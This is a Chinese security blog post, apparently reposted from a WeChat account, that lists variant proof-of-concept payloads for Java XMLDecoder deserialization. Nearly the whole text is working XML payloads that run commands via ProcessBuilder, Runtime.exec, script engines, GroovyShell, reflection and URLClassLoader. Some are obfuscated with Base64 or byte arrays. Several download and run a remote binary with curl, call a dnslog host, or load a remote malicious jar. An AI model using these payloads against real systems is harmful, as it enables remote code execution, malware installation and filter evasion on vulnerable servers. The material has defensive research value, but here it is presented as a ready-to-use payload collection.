Java XMLDecode反序列化POC变形

admin 2025年4月10日21:11:02评论8 views字数 9545阅读31分49秒阅读模式

Java XMLDecode反序列化POC变形

△△△点击上方“蓝字”关注我们了解更多精彩
0x00 前言
免责声明:继续阅读文章视为您已同意[NOVASEC免责声明].

记录一些简单的Java XMLDecode反序列化POC变形

1
0x01 ProcessBuilder执行
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder"><objectclass="java.lang.ProcessBuilder"> <arrayclass="java.lang.String"length="1">   <voidindex="0"><string>calc</string></void> </array> <voidmethod="start"></void></object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder"><objectclass="java.lang.ProcessBuilder"> <arrayclass="java.lang.String"length="1">   <voidindex="0"><string>curl http://www.dddd.com:7777/as -O && chmod +x as && nohup ./as &</string></void> </array> <voidmethod="start"></void></object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder"><objectclass="java.lang.ProcessBuilder"> <arrayclass="java.lang.String"length="1">   <voidindex="0"><string>ping -c 1 -n 1 xxxxx.dnslog.cn</string></void> </array> <voidmethod="start"></void></object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder"><objectclass="java.lang.ProcessBuilder"> <arrayclass="java.lang.String"length="3">   <voidindex="0"><string>powershell</string></void>   <voidindex="1"><string>-Command</string></void>   <voidindex="2"><string>calc</string></void> </array> <voidmethod="start"></void></object></java>
1
0x02 Runtime执行
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder">  <objectclass="java.lang.Runtime"method="getRuntime">    <voidmethod="exec">      <arrayclass="java.lang.String"length="3">        <voidindex="0">          <string>powershell</string>        </void>        <voidindex="1">          <string>-Command</string>        </void>        <voidindex="2">          <string>Start-Process calc.exe</string>        </void>      </array>    </void>  </object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="java.lang.Runtime"method="getRuntime">    <voidmethod="exec">      <arrayclass="java.lang.String"length="1">        <voidindex="0">          <string>calc</string>        </void>      </array>    </void>  </object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="java.lang.Runtime"method="getRuntime">    <voidmethod="exec">      <arrayclass="java.lang.String"length="1">        <voidindex="0">          <string>curl http://www.dddd.com:7777/as -O && chmod +x as && nohup ./as &</string>        </void>      </array>    </void>  </object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="java.lang.Runtime"method="getRuntime">    <voidmethod="exec">      <arrayclass="java.lang.String"length="1">        <voidindex="0">          <string>wget http://xxxxx.dnslog.cn</string>        </void>      </array>    </void>  </object></java>
1
0x03 Base64编码
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder">  <objectclass="java.lang.ProcessBuilder">    <arrayclass="java.lang.String"length="3">      <!-- 调用 base64 解码命令 -->      <voidindex="0"><string>/bin/sh</string></void>      <voidindex="1"><string>-c</string></void>      <voidindex="2"><string>echo Y2FsYwo= | base64 -d | cmd</string></void>    </array>    <voidmethod="start"></void>  </object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder"><objectclass="java.lang.ProcessBuilder"> <arrayclass="java.lang.String"length="3">   <voidindex="0"><string>powershell</string></void>   <voidindex="1"><string>-Command</string></void>   <voidindex="2"><string>"Start-Process [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Y2FsYwo='))"</string></void> </array> <voidmethod="start"></void></object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder">  <objectclass="java.lang.ProcessBuilder">    <arrayclass="java.lang.String"length="3">      <!-- 调用 PowerShell -->      <voidindex="0">        <string>powershell</string>      </void>      <!-- 使用 -Command 参数执行命令 -->      <voidindex="1">        <string>-Command</string>      </void>      <!-- 解码 Base64 并启动 calc -->      <voidindex="2">        <string>Start-Process -FilePath ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcV2luZG93c1xTeXN0ZW0zMlxjYWxjLmV4ZQ==')))</string>      </void>    </array>    <!-- 启动进程 -->    <voidmethod="start"/>  </object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder">  <objectclass="java.lang.ProcessBuilder">    <arrayclass="java.lang.String"length="3">      <!-- 调用 PowerShell -->      <voidindex="0">        <string>powershell</string>      </void>      <!-- 使用 -Command 参数执行命令 -->      <voidindex="1">        <string>-Command</string>      </void>      <!-- 解码 Base64 并启动 calc -->      <voidindex="2">        <string>Start-Process -FilePath ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcV2luZG93c1xTeXN0ZW0zMlxjYWxjLmV4ZQ==')))</string>      </void>    </array>    <!-- 启动进程 -->    <voidmethod="start"/>  </object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0"class="java.beans.XMLDecoder">  <objectclass="java.lang.ProcessBuilder">    <arrayclass="java.lang.String"length="3">      <voidindex="0">        <string>/bin/bash</string>      </void>      <voidindex="1">        <string>-c</string>      </void>      <voidindex="2">        <string>echo Y2FsYwo= | base64 -d | bash</string>      </void>    </array>    <voidmethod="start"/>  </object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <!-- 创建一个 ProcessBuilder 对象 -->  <objectclass="java.lang.ProcessBuilder">    <arrayclass="java.lang.String"length="1">      <voidindex="0">        <!-- 将 Base64 字符串解码为字节数组,并转换为字符串 -->        <objectclass="java.lang.String">          <arrayclass="byte">            <!-- 调用 Base64 解码器 -->            <voidmethod="decode">              <objectclass="java.util.Base64"method="getDecoder"/>              <string>Y2FsYw==</string> <!-- Base64 编码的 "calc" -->            </void>          </array>        </object>      </void>    </array>    <!-- 启动进程 -->    <voidmethod="start"/>  </object></java>
1
0x04 Byte编码
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="java.lang.ProcessBuilder">    <arrayclass="java.lang.String"length="1">      <!-- 使用字节数组表示字符串 "calc" -->      <voidindex="0">        <string><objectclass="java.lang.String"><arrayclass="byte"length="4">          <voidindex="0"><byte>99</byte></void> <!-- c -->          <voidindex="1"><byte>97</byte></void> <!-- a -->          <voidindex="2"><byte>108</byte></void> <!-- l -->          <voidindex="3"><byte>99</byte></void> <!-- c -->        </array></object></string>      </void>    </array>    <voidmethod="start"></void>  </object></java>
1
0x05 ScriptEngineManager
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="javax.script.ScriptEngineManager"method="newInstance">    <voidmethod="getEngineByName">      <string>JavaScript</string>      <voidmethod="eval">        <string>java.lang.Runtime.getRuntime().exec("calc")</string>      </void>    </void>  </object></java>
1

0x06 GroovyShell

<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="groovy.lang.GroovyShell">    <voidmethod="evaluate">      <string>Runtime.getRuntime().exec("calc")</string>    </void>  </object></java>
1
0x07 Thread执行
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="java.lang.Thread">    <voidmethod="start">      <objectclass="java.lang.Runnable">        <voidmethod="run">          <objectclass="java.lang.Runtime"method="getRuntime">            <voidmethod="exec">              <arrayclass="java.lang.String"length="1">                <voidindex="0">                  <string>calc</string>                </void>              </array>            </void>          </object>        </void>      </object>    </void>  </object></java>
1
0x08 URLClassLoader
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="java.net.URLClassLoader">    <arrayclass="java.net.URL"length="1">      <voidindex="0">        <objectclass="java.net.URL">          <string>http://example.com/malicious.jar</string>        </object>      </void>    </array>    <voidmethod="loadClass">      <string>MaliciousClass</string>      <voidmethod="newInstance"/>    </void>  </object></java>
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="java.net.URLClassLoader">    <arrayclass="java.net.URL"length="1">      <voidindex="0">        <!-- 本地文件路径,指向 MaliciousClass.class 所在的目录 -->        <objectclass="java.net.URL">          <string>file:///C:/XXX/</string>        </object>      </void>    </array>    <voidmethod="loadClass">      <string>MaliciousClass</string>      <voidmethod="newInstance"/>    </void>  </object></java>
1
0x09 反射执行
<?xml version="1.0" encoding="UTF-8"?><javaversion="1.8.0_202"class="java.beans.XMLDecoder">  <objectclass="java.lang.Class"method="forName">    <string>java.lang.Runtime</string>    <voidmethod="getMethod">      <string>exec</string>      <arrayclass="java.lang.Class"length="1">        <voidindex="0">          <objectclass="java.lang.Class"method="forName">            <string>java.lang.String</string>          </object>        </void>      </array>      <voidmethod="invoke">        <objectclass="java.lang.Runtime"method="getRuntime"/>        <arrayclass="java.lang.Object"length="1">          <voidindex="0">            <string>calc</string>          </void>        </array>      </void>    </void>  </object></java>
Java XMLDecode反序列化POC变形

END

如您有任何投稿、问题、需求、建议

NOVASEC公众号后台留言

Java XMLDecode反序列化POC变形

或添加 NOVASEC 联系人

Java XMLDecode反序列化POC变形

感谢您对我们的支持、点赞和关注

加入我们与萌新一起成长吧!

本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!

原文始发于微信公众号(NOVASEC):Java XMLDecode反序列化POC变形

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日21:11:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java XMLDecode反序列化POC变形https://cn-sec.com/archives/3936686.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息